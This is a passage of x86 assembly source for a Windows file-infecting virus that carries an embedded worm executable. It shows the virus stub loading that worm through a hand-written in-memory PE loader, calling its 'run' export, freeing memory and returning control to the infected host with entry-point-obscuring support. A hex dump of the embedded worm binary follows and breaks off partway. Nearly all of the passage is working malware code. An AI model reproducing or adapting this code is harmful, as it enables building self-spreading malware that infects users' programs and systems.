call dword ptr [ebp + HeapAllocz]
mov byte ptr [eax],'z'
mov edx,eax

push 00000000h
push 00000000h
push 00000000h
push ebx
call mySetFilePointerAddr
add  eax,2
push eax
call myReadFileAddr
add  eax,2
push eax
call myCreateFileAddr
add  eax,2
push eax
push 00000000h
push dword ptr [ebp + HeapAllocz]
push edx
call PeLoader

pop edx
pop edx ;LoadLibraryA
pop ebx
pop ebx ;GetProcAddress


or eax,eax
jz LeaveVirusCode

;calling "run" exported function with interface:
;       int  __stdcall run(void * LoadLibraryA,
;                                  void * GetProcAddress,
;                                  void * AddrOfVirusBaseVxstart,  ;vxstart label
;                                  int    Size,                      ;size of
code(WormBinary Included)
;                                  int    OffsetOfHostEntryOffset,
;HostEntryOffset label
;                                  int    OffsetOfWormBinary,        ;WormBinary
label
;                                  int    SizeOfWormBinary           ;size of
WormBinary
;                                  );
;     This function must return 1 if it wants the pe will not free when run
returns or
```

```
;       0 if it wants this code free memory allocated after executing run.
;;;;;;;;;;;;;;;

mov esi,eax

push eax ; handle of the pe loaded

call WormBinaryAddr
add  eax,2
push eax
mov  eax,dword ptr [eax+3ch]
add  eax,[esp]
xor  ecx,ecx
mov  cx,[eax.IMAGE_NT_HEADERS.NT_FileHeader.FH_NumberOfSections]
dec  ecx
push eax
mov  eax,IMAGE_SIZEOF_SECTION_HEADER
push edx
mul  ecx
pop  edx; DAMN!!!! mul was erasing edx... ;/////////
add  [esp],eax
add  dword ptr [esp],IMAGE_NT_HEADERSSIZE
pop  eax
;eax-> last section hdr
mov  ecx,[eax.IMAGE_SECTION_HEADER.SH_PointerToRawData]
add  ecx,[eax.IMAGE_SECTION_HEADER.SH_SizeOfRawData]

mov  [esp],ecx ;SizeOfWormBinary

mov  eax,WormBinary-vxstart
push eax; Offset of WormBinary

mov  eax,HostEntryOffset-vxstart
push eax; host entry offset

mov  eax,vxend-vxstart
push eax ;code size

call WormBinaryAddr
sub  eax,WormBinary-vxstart-2
push eax ;addr of virus base

push ebx ;GetProcAddress
push edx ;LoadLibraryA

mov ebx,[esi.PEHANDLE.base]
call JumpOverRunStr
db 'run',0
JumpOverRunStr:
pop esi
call PEGetProcAddr

or eax,eax
jnz ContinueCallingRun
add esp,7*4
jmp LeaveVirusCodeWithFree
ContinueCallingRun:
call eax
or eax,eax
jz LeaveVirusCodeWithFree
pop edi ;free stack
jmp LeaveVirusCode

;;;;;;;;;;;;;;;
LeaveVirusCodeWithFree:

pop edi; handle of the loaded dll
```

```
mov ebx,[esp];kernel zone

SearchKernelForFree:
xor bx,bx
cmp word ptr [ebx],'MZ'
je KernelFoundForFree
cmp word ptr [ebx],'ZM'
je KernelFoundForFree
sub ebx,1000h
jmp SearchKernelForFree
KernelFoundForFree:

;ebx->kernel base

call JumpOverGetProcAddressForFree
db 'GetProcAddress',0
JumpOverGetProcAddressForFree:
pop esi
call PEGetProcAddr
or eax,eax
jz LeaveVirusCode
call JumpOverHeapFree
db 'HeapFree',0
JumpOverHeapFree:
push ebx
call eax
or eax,eax
jz LeaveVirusCode

push eax

call JumpOverGetProcessHeapForFree
db 'GetProcessHeap',0
JumpOverGetProcessHeapForFree:
pop esi
call PEGetProcAddr

call eax

;eax=heap handle
mov esi,eax

FreeHandles:

mov eax,[edi.PEHANDLE.base]
sub eax,10000h
mov eax,[eax]
push eax
push 0
push esi
call dword ptr [esp+0ch]
mov edi,[edi.PEHANDLE.imported_dlls]
or edi,edi
jnz FreeHandles

pop eax

LeaveVirusCode:
call LeaveVirusCode2
LeaveVirusCode2:
pop ebx
SearchBase:
xor bx,bx
cmp word ptr [ebx],'MZ'
je BaseFound
cmp word ptr [ebx],'ZM'
je BaseFound
sub ebx,1000h
```

```
jmp SearchBase

;note HostEntryOffset-vxstart must be aligned to 4...((BaseFound-vxstart+2)%4)=0
PADDING equ  4 -(((BaseFound+2-vxstart) - (4*((BaseFound+2-vxstart)/4))))
db PADDING dup (90h)

BaseFound:

add ebx,00000000h + offset ExitFirstGeneration - 400000h ;first generation only
HostEntryOffset equ $-4
push ebx
call myCreateFileAddr
add eax,2
pop ebx
add eax,HostEntryOffset-myCreateFile
cmp dword ptr [eax],00000000h
je EPOSupport
jmp ebx
EPOSupport:
jmp vxend+20 ;when we encrypted and EPO we have reserved some more bytes with
nops
                ;for avoiding problems, so we will jump there.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;Environment Functions
;note we want to load a pe file that we have in the own code, so we will give to
PE loader
;this pseudo-read/create/setpointer functions, and in this manner we will load
the own PE
;that we have here.
;Other thing to say is that myCreateFile will receive a file name. When we call
Pe loader
;with this functions as parameters, we should give it a memory reserved zone in
the filename
;parameter that createfile will use for keeping its own handle.

FILEHANDLE struct
CurrentSeek dd 0
FILEHANDLE ends

FILEHANDLESIZE equ SIZE FILEHANDLE

myReadFileAddr:
call myReadFileAddr2
myReadFileAddr2:
pop eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
myReadFile:
pushad
mov edi,[esp+8+32]
mov esi,[esp+4+32]
mov esi,[esi]
mov ecx,[esp+0ch+32]
mov edx,[esp+10h+32]
mov [edx],ecx
rep movsb
mov ecx,[esp+0ch+32]
mov esi,[esp+4+32]
mov eax,[esi]
add eax,ecx
mov [esi],eax
popad
mov eax,1
ret 20
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
```

```
myCreateFileAddr:
call myCreateFileAddr2
myCreateFileAddr2:
pop eax
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
myCreateFile:
mov eax,[esp+4]
mov dword ptr [eax],00000000h ;its a FILEHANDLE struc
ret 1ch
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;

mySetFilePointerAddr:
call mySetFilePointerAddr2
mySetFilePointerAddr2:
pop eax
ret

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
mySetFilePointer:

pushad
call WormBinaryAddr
add eax,2

mov ebx,[esp+4+32]
mov ecx,[esp+8+32]
;mov edx,[esp+10h+32] ;temporaly method seek_set always

add eax,ecx
mov [ebx],eax
mov dword ptr [esp.Pushad_struc.Pushad_eax],eax
popad

ret 16
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;
;PeLoader:
;
;Type:          General.
;
;Description:   This function will load a PE file for executing it without
calling
;                       operating system loader. I had problems loading a entire
PE file with
;                       normal imports (for example,kernel32). I have not tried
9x, but in
;                       NT i got problems loading for example kernel32 due
ntdll.dll
;                       initialization. Super said me i should call
LdrInitializeThunk ntdll's
;                       export, however this solution was not valid, al least
for this case :(
;
;Parameters:    This function will receive parameters in __stdcall calling
convention.
;
;                       parameter 1: pointer to ascii string with the name of
```

```
the PE
;                       file to load.
;                       parameter 2: pointer to real HeapAlloc kernel32
function.
;                       parameter 3: pointer to real HeapReAlloc kernel32
function.
;                       parameter 4: pointer to real CreateFile kernel32
function.
;                       parameter 5: pointer to real ReadFile kernel32 function.
;                       parameter 6: pointer to real SetFilePointer kernel32
function.
;                       parameter 7: HANDLE of heap of the process.
;                       parameter 8: pointer to real HeapFree kernel32 function.
;                       parameter 9: reserved.
;                       parameter 10: this paremeter should be null for external
callers.
;
;Returned Values:
;                       none
;
;notes:
;                       All dependencies of the PE to be loaded must be in the
same folder.
;                       In addition, you must set the folder of PE to be loaded
as current
;                       folder before calling this function.
;                       This function will not check the integrity of the PE
file. It will
;                       suppose the MZ/PE headers are good.
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;macros

;;;;;;;;;;;;;;;;
malloc macro malloc_macro_size
local malloc_macro_leave
pushad
mov eax,malloc_macro_size
and eax,0FFFF0000h
add eax,00030000h
push eax
push HEAP_ZERO_MEMORY
push dword ptr [ebp + PE_loader_hHeap]
call dword ptr [ebp + PE_loader_pHeapAlloc]
or eax,eax
jz malloc_macro_leave
push eax
and eax,0FFFF0000h
add eax,00010000h
pop dword ptr [eax]
add eax,00010000h
malloc_macro_leave:
mov [esp.Pushad_struc.Pushad_eax],eax
popad
endm
;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;
free macro free_macro_addr
pushad
mov eax,free_macro_addr
sub eax,00010000h
mov eax,[eax]
push eax
push 00000000h
push dword ptr [ebp + PE_loader_hHeap]
call dword ptr [ebp + PE_loader_pHeapFree]
```

```
mov [esp.Pushad_struc.Pushad_eax],eax
popad
endm
;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;
open macro open_macro_filename
push 00000000h
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 00000000h
push FILE_SHARE_READ
push GENERIC_READ
push open_macro_filename
call dword ptr [ebp + PE_loader_pCreateFile]
endm
;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;
read macro read_macro_handle,read_macro_buffer,read_macro_size
push 00000000h ;read bytes
push 00000000h
push esp
add dword ptr [esp],4
push read_macro_size
push read_macro_buffer
push read_macro_handle
call dword ptr [ebp + PE_loader_pReadFile]
pop eax
endm
;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;
seek macro seek_macro_handle,seek_macro_offset
push FILE_BEGIN
push 0
push seek_macro_offset
push seek_macro_handle
call dword ptr [ebp + PE_loader_pSetFilePointer]
endm
;;;;;;;;;;;;;;;;


;Types

;;;;;;;;;;;;;;;;
PEHANDLE struct
base                    dd      ?
size                    dd    ?
pehdrs          IMAGE_NT_HEADERS  ?
imported_dlls   dd    ? ;(PEHANDLE *) list
PEHANDLE ends

PEHANDLESIZE          equ size PEHANDLE
;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;
;Variables (offsets from ebp in stack)
N_VARIABLES     equ 3
;;;;;;;;;;;
pe_handle               equ -4h  ;pointer to a PEHANDLE structure
hfile                   equ -8h  ;file handle of PE to load
temp                    equ -0ch ;temp data
;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;
;Arguments (offsets from ebp in stack)
PE_FileName                     equ 8h
```

```
PE_loader_pHeapAlloc            equ 0ch
PE_loader_pHeapReAlloc          equ 10h
PE_loader_pCreateFile           equ 14h
PE_loader_pReadFile             equ 18h
PE_loader_pSetFilePointer       equ 1ch
PE_loader_hHeap                 equ 20h
PE_loader_pHeapFree             equ 24h
PE_loader_reserved              equ 28h
PE_loader_FirstHandleOfList   equ 2ch
;;;;;;;;;;;;;;;;

;;;;;;;;;
PeLoader:
;;;;;;;;;

push ebp
mov ebp,esp
pushad
pushfd
sub esp,N_VARIABLES*4

;opening PE to load
;;;;;;;;;;;;;
mov eax,dword ptr [ebp+PE_FileName]
open eax
or eax,eax
jz LeavePeLoader
mov dword ptr [ebp + hfile],eax
;;;;;;;;;;;;;



;getting space for our memory handle
;;;;;;;;;;;;;
malloc PEHANDLESIZE
or eax,eax
jz LeavePeLoader
mov dword ptr [ebp + pe_handle],eax
;;;;;;;;;;;;;



;we search the needed size of memory for loading the PE file
;;;;;;;;;;;;;
mov eax,dword ptr [ebp + hfile]
seek eax,0000003ch                      ;pointer to lfanew
mov eax,dword ptr [ebp + hfile]
lea ebx,dword ptr [ebp + temp]
read eax,ebx,4                          ;reading offset of PE header to temp
mov eax,dword ptr [ebp + hfile]
mov ebx,dword ptr [ebp + temp]
add ebx,IMAGE_NT_HEADERS.NT_OptionalHeader.OH_SizeOfImage
seek eax,ebx                            ;pointer to size of image in optional
header
mov eax,dword ptr [ebp + hfile]
mov ebx,dword ptr [ebp + pe_handle]
lea ebx,dword ptr [ebx.PEHANDLE.size]
read eax,ebx,4                          ;reading size of image in memory
;;;;;;;;;;;;;



;we will reserve enought memory for loading the PE
;;;;;;;;;;;;;
mov eax,[ebp + pe_handle]
mov eax,[eax.PEHANDLE.size]
malloc eax
or eax,eax
```

```
jz LeavePeLoaderAndFree_1
mov ebx,[ebp + pe_handle]
mov [ebx.PEHANDLE.base],eax
;;;;;;;;;;;;



;now we will get in memory dos and PE headers.
;;;;;;;;;;;;
mov eax,dword ptr [ebp + hfile]
seek eax,00000000h                      ;going to start of PE in disk
mov eax,dword ptr [ebp + hfile]
mov ebx,dword ptr [ebp + pe_handle]
mov ebx,dword ptr [ebx.PEHANDLE.base]
read eax,ebx,IMAGE_DOS_HEADERSIZE       ;reading all dos header

mov eax,dword ptr [ebp + hfile]
mov ebx,dword ptr [ebp + pe_handle]
mov ebx,dword ptr [ebx.PEHANDLE.base]
mov ebx,dword ptr [ebx.IMAGE_DOS_HEADER.MZ_lfanew]
seek eax,ebx                            ;going PE header in disk

mov ebx,dword ptr [ebp + pe_handle]
mov ebx,dword ptr [ebx.PEHANDLE.base]
add ebx,[ebx.IMAGE_DOS_HEADER.MZ_lfanew]
mov eax,dword ptr [ebp + hfile]
read eax,ebx,IMAGE_NT_HEADERSSIZE       ;reading PE header

;sections headers
mov ebx,[ebp + pe_handle]
mov ebx,[ebx.PEHANDLE.base]
add ebx,[ebx.IMAGE_DOS_HEADER.MZ_lfanew]
xor ecx,ecx
mov cx,word ptr [ebx.IMAGE_NT_HEADERS.NT_FileHeader.FH_NumberOfSections]
mov eax,IMAGE_SECTION_HEADERSIZE
mul ecx
add ebx,IMAGE_NT_HEADERSSIZE
mov ecx,[ebp + hfile]
read ecx,ebx,eax
;;;;;;;;;;;;


;Next step is to load sections in its rvas
;;;;;;;;;;;;
mov ebx,[ebp + pe_handle]
mov ebx,[ebx.PEHANDLE.base]
mov edx,ebx
add ebx,[ebx.IMAGE_DOS_HEADER.MZ_lfanew]
xor ecx,ecx
mov cx,word ptr [ebx.IMAGE_NT_HEADERS.NT_FileHeader.FH_NumberOfSections]
add ebx,IMAGE_NT_HEADERSSIZE
mov eax,[ebp + hfile]
MapAllSections:
mov esi,[ebx.IMAGE_SECTION_HEADER.SH_PointerToRawData]
pushad
seek eax,esi
popad
mov esi,[ebx.IMAGE_SECTION_HEADER.SH_VirtualAddress]
add esi,edx
mov edi,[ebx.IMAGE_SECTION_HEADER.SH_SizeOfRawData]
pushad
read eax,esi,edi
popad
add  ebx,IMAGE_SECTION_HEADERSIZE
loop MapAllSections
;;;;;;;;;;;;

;;;;;;;;;;;;
```

```
;At this point all pe should be loaded in memory, in its associated VAs.
;Things to do:
;       Loading imported dlls.
;       Resolving Imports.
;       Resolving Relocs.
;;;;;;;;;;;;

mov ebx,[ebp + pe_handle]
mov ebx,[ebx.PEHANDLE.base]
call ResolveRelocs

call ResolveImports

mov ebx,[ebp + pe_handle]
mov ebx,[ebx.PEHANDLE.base]
mov eax,[ebx+3ch]
add eax,ebx
mov eax,[eax.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_AddressOfEntryPoint]
or eax,eax
jz PELoader_NotDllMain
add eax,ebx

push 0
push 1 ;DLL_PROCESS_ATTACH
push ebx
call eax ;dllmain

PELoader_NotDllMain:

;Leaving funcion
;;;;;;;;;;;;
LeavePeLoaderWithNoError:

mov eax,[ebp + pe_handle]
add esp,N_VARIABLES*4
popfd
mov dword ptr [esp.Pushad_struc.Pushad_eax],eax
popad
pop ebp
retn 28h

LeavePeLoaderAndFree_2:
mov eax,[ebp + pe_handle]
mov eax,[eax.PEHANDLE.base]
free eax
LeavePeLoaderAndFree_1:
mov eax,[ebp + pe_handle]
free eax
LeavePeLoader:
add esp,N_VARIABLES*4
popfd
popad
pop ebp
retn 28h

;;;;;;;;;;;;
;ebp ->frame of PELoader function
;PE must be loaded in memory, in good associated RVAs.
ResolveImports:
pushad
pushfd

mov ebx,[ebp + pe_handle]
mov ebx,[ebx.PEHANDLE.base]

mov esi,ebx
add esi,dword ptr [ebx+3ch]
mov esi,dword ptr
```

```
[esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_Virtual
Address]
or esi,esi
jz EndResolvingImports
add esi,ebx

;esi-> IMAGE_IMPORT_DESCRIPTOR array

NextImageImportDescriptor:

mov eax,[esi]
or  eax,eax
jz  EndResolvingImports

call ResolveImageImportDescriptor

add esi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp NextImageImportDescriptor

EndResolvingImports:
popfd
popad
ret

;;;;;;;;;;;;
;ebp->frame of PELoader function
;esi->current IMAGE_IMPORT_DESCRIPTOR
ResolveImageImportDescriptor:
pushfd
pushad

mov ebx,[ebp + pe_handle]
mov ebx,[ebx.PEHANDLE.base]

mov edi,[esi.IMAGE_IMPORT_DESCRIPTOR.ID_FirstThunk]
add edi,ebx
mov eax,[esi.IMAGE_IMPORT_DESCRIPTOR.ID_OriginalFirstThunk]
or  eax,eax
jnz ImportDescriptorNameSourceSelected
mov eax,[esi.IMAGE_IMPORT_DESCRIPTOR.ID_FirstThunk]
ImportDescriptorNameSourceSelected:
mov edx,esi
mov esi,eax
add esi,ebx

;edx-> import descriptor
;esi-> array of pointers to names of imported functions
;edi-> array of pointers to destinations of VAs of imported functions
;ebx-> MZ

pushad ;saving registers with previous information

cmp dword ptr [ebp+PE_loader_FirstHandleOfList],00000000h
jne ItsNotFirstRecursion
mov eax,dword ptr [ebp+pe_handle]
mov dword ptr [ebp+PE_loader_FirstHandleOfList],eax
push dword ptr [ebp+pe_handle]
jmp AllParametersForRecursion

ItsNotFirstRecursion:

push esi
mov esi,dword ptr [edx.IMAGE_IMPORT_DESCRIPTOR.ID_Name]
add esi,ebx
mov eax,[ebp + PE_loader_FirstHandleOfList]
call SearchDllHandleByName
pop esi
or eax,eax
```

```
jnz HandleOfImportedFound

push dword ptr [ebp+PE_loader_FirstHandleOfList]

AllParametersForRecursion:
push dword ptr [ebp + PE_loader_reserved]
push dword ptr [ebp + PE_loader_pHeapFree]
push dword ptr [ebp + PE_loader_hHeap]
push dword ptr [ebp + PE_loader_pSetFilePointer]
push dword ptr [ebp + PE_loader_pReadFile]
push dword ptr [ebp + PE_loader_pCreateFile]
push dword ptr [ebp + PE_loader_pHeapReAlloc]
push dword ptr [ebp + PE_loader_pHeapAlloc]
mov eax,dword ptr [edx.IMAGE_IMPORT_DESCRIPTOR.ID_Name]
add eax,ebx
push eax
call PeLoader

;eax->handle of the imported loaded module

mov edx,eax
mov eax,[ebp + pe_handle]
call GoEndListOfPEhandles

;we add the new handle to the end of the list of pehandles
mov dword ptr [eax.PEHANDLE.imported_dlls],edx
mov eax,edx

HandleOfImportedFound:

mov edx,eax
xchg edx,ebx

mov dword ptr [esp.Pushad_struc.Pushad_edx],edx
mov dword ptr [esp.Pushad_struc.Pushad_ebx],ebx

popad ;restoring regs with this information:
;esi-> array of pointers to names of imported functions
;edi-> array of pointers to destinations of VAs of imported functions
;edx-> MZ
;ebx-> pehandle of the loaded module

;now,we can resolve imports of this module

mov ebx,[ebx.PEHANDLE.base]

NextImportedFunction:

cmp dword ptr [esi],00000000h
jz EndImportingFunctions
push esi
mov esi,[esi]
add esi,edx
add esi,2
call PEGetProcAddr
pop esi
;eax->function
stosd
lodsd
jmp NextImportedFunction

EndImportingFunctions:

popad
popfd
ret
;;;;;;;;;;;;
```

```
;;;;;;;;;;;;
;eax->pehandle node
;the function will return a pointer to the last pehandle node
GoEndListOfPEhandles:
pushad
pushfd
xor edx,edx
SearchEndOfListOfPEhandles:
or eax,eax
jz EndOfListOfPEhandlesFound
mov edx,eax
mov eax,[eax.PEHANDLE.imported_dlls]
jmp SearchEndOfListOfPEhandles

EndOfListOfPEhandlesFound:
popfd
mov dword ptr [esp.Pushad_struc.Pushad_eax],edx
popad
ret
;;;;;;;;;;;;

;;;;;;;;;;;;
;esi->name of dll
;eax->first pehandle
;it will return a pointer to the found pehandle or null if not found
SearchDllHandleByName:
pushad
pushfd

ISearchDllHandleByName:
or eax,eax
jz HandleByModuleNameFound
mov ebx,[eax.PEHANDLE.base]
mov edx,[ebx+3ch]
add edx,ebx
mov
edx,[edx.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Vir
tualAddress]
add edx,ebx
mov edi,[edx.IMAGE_EXPORT_DIRECTORY.ED_Name]
add edi,ebx
CompareString
or ecx,ecx
jz HandleByModuleNameFound
mov eax,[eax.PEHANDLE.imported_dlls]
jmp ISearchDllHandleByName

HandleByModuleNameFound:
popfd
mov dword ptr [esp.Pushad_struc.Pushad_eax],eax
popad
ret
;;;;;;;;;;;;

;;;;;;;;;;;;
;ebx ->MZ addr
;PE must be loaded in memory, in good associated RVAs.

ResolveRelocs:
pushad
pushfd
mov esi,ebx
add esi,dword ptr [ebx+3ch]
mov edx,ebx
sub edx,dword ptr [esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_ImageBase] ;delta
mov esi,dword ptr
[esi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_BaseReloc.DD_Virt
ualAddress]
```

```
or esi,esi
jz EndResolveRelocs
add esi,ebx

;esi->relocs
;ebx->current base
;edx->delta
ParseRelocations:
cmp dword ptr [esi],0
je EndResolveRelocs

mov ecx,dword ptr [esi+4]
sub ecx,8
shr ecx,1 ;ecx = n fixups

ParseFixUps:
mov ax,word ptr [esi+2*ecx+8-2]   ;parsing fixups from the last to the first one
push eax
and eax,00000FFFh                          ;eax = offset in the page of the
point to relocate
mov edi,dword ptr [esi]
add edi,ebx
add edi,eax                            ;real address for fixing up
pop eax
test eax,0000F000h
jz NoApplyThisFixUp
add dword ptr [edi],edx             ;adding delta
NoApplyThisFixUp:
loop ParseFixUps

add esi,[esi+4]
jmp ParseRelocations

EndResolveRelocs:

popfd
popad
ret
;;;;;;;;;;;;

;;;;;;;;;;;;
;ebx->MZ hdr
;esi->name of the exported function
;PE must be loaded in memory
PEGetProcAddr:
pushad
pushfd

mov edi,[ebx+3ch]
add edi,ebx
mov edi,dword ptr
[edi.IMAGE_NT_HEADERS.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Virtual
Address]
add edi,ebx

;edi->IMAGE_EXPORT_DIRECTORY

mov ecx,[edi.IMAGE_EXPORT_DIRECTORY.ED_NumberOfNames]
mov edx,[edi.IMAGE_EXPORT_DIRECTORY.ED_AddressOfNames]
add edx,ebx

;edx->array of pointers to functions names

SearchFunctionName:
push edi
push ecx
mov  edi,[edx+ecx*4-4]
add  edi,ebx
```

```
CompareString
mov  eax,ecx
pop  ecx
pop  edi
or   eax,eax
jz   EndSearchFunctionName
loop SearchFunctionName
EndSearchFunctionName:
or ecx,ecx
jz EndPEGetProcAddrErr

;ecx = index in the table of pointers to functions names

mov edx,[edi.IMAGE_EXPORT_DIRECTORY.ED_AddressOfNameOrdinals]
add edx,ebx
mov ax,word ptr [edx+ecx*2-2];ax = ordinal
mov edx,[edi.IMAGE_EXPORT_DIRECTORY.ED_AddressOfFunctions]
add edx,ebx
mov eax,[edx+eax*4] ;eax = addr of the function
add eax,ebx

EndPEGetProcAddrNoErr:
popfd
mov dword ptr [esp.Pushad_struc.Pushad_eax],eax
popad
ret

EndPEGetProcAddrErr:
popfd
popad
xor eax,eax
ret
;;;;;;;;;;;

WormBinaryAddr:
call WormBinaryAddr2
WormBinaryAddr2:
pop eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;

WormBinary:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h, 004h, 000h, 000h, 000h, 0ffh,
0ffh
db 000h, 000h, 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 040h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 0b8h, 000h, 000h, 000h, 00eh, 01fh, 0bah, 00eh, 000h,
0b4h
db 009h, 0cdh, 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h, 069h, 073h, 020h,
070h
db 072h, 06fh, 067h, 072h, 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh, 074h,
020h
db 062h, 065h, 020h, 072h, 075h, 06eh, 020h, 069h, 06eh, 020h, 044h, 04fh, 053h,
020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah, 024h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 059h, 05ah, 01dh, 0deh, 01dh, 03bh, 073h, 08dh, 01dh, 03bh, 073h,
08dh
db 01dh, 03bh, 073h, 08dh, 0e2h, 01bh, 076h, 08dh, 01ch, 03bh, 073h, 08dh, 01bh,
018h
db 079h, 08dh, 01ah, 03bh, 073h, 08dh, 0e2h, 01bh, 077h, 08dh, 01ch, 03bh, 073h,
```

08dh
db 052h, 069h, 063h, 068h, 01dh, 03bh, 073h, 08dh, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 050h, 045h, 000h, 000h, 04ch, 001h, 002h, 000h, 005h, 09ch, 0c5h,
041h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0e0h, 000h, 00eh, 021h, 00bh,
001h
db 006h, 000h, 000h, 03eh, 000h, 000h, 000h, 004h, 000h, 000h, 000h, 000h, 000h,
000h
db 0beh, 049h, 000h, 000h, 000h, 010h, 000h, 000h, 000h, 050h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h, 004h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
060h
db 000h, 000h, 000h, 002h, 000h, 000h, 000h, 000h, 000h, 000h, 002h, 000h, 000h,
000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h, 000h, 000h, 010h, 000h, 000h,
010h
db 000h, 000h, 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h, 040h, 04dh, 000h,
000h
db 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 050h, 000h, 000h, 038h,
002h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02eh,
074h
db 065h, 078h, 074h, 000h, 000h, 000h, 07ch, 03dh, 000h, 000h, 000h, 010h, 000h,
000h
db 000h, 03eh, 000h, 000h, 000h, 002h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 000h, 000h, 020h, 000h, 000h, 0e0h, 02eh, 072h, 065h,
06ch
db 06fh, 063h, 000h, 000h, 0b2h, 002h, 000h, 000h, 000h, 050h, 000h, 000h, 000h,
004h
db 000h, 000h, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h
db 000h, 000h, 000h, 000h, 040h, 000h, 000h, 042h, 0c8h, 050h, 000h, 000h, 060h,
08bh
db 07dh, 024h, 0fch, 081h, 065h, 010h, 0efh, 000h, 000h, 000h, 075h, 007h, 0c7h,
045h
db 010h, 001h, 000h, 000h, 000h, 081h, 065h, 014h, 0efh, 000h, 000h, 000h, 075h,
007h
db 0c7h, 045h, 014h, 001h, 000h, 000h, 000h, 081h, 065h, 00ch, 0ffh, 0ffh, 01fh,
000h
db 075h, 007h, 0c7h, 045h, 00ch, 040h, 000h, 000h, 000h, 08bh, 0c7h, 02bh, 045h,
024h
db 08bh, 04dh, 018h, 089h, 001h, 083h, 0c0h, 010h, 03bh, 045h, 020h, 073h, 00ch,
0ffh
db 04dh, 01ch, 07ch, 007h, 0e8h, 005h, 000h, 000h, 000h, 0ebh, 0e2h, 061h, 0c9h,
0c3h
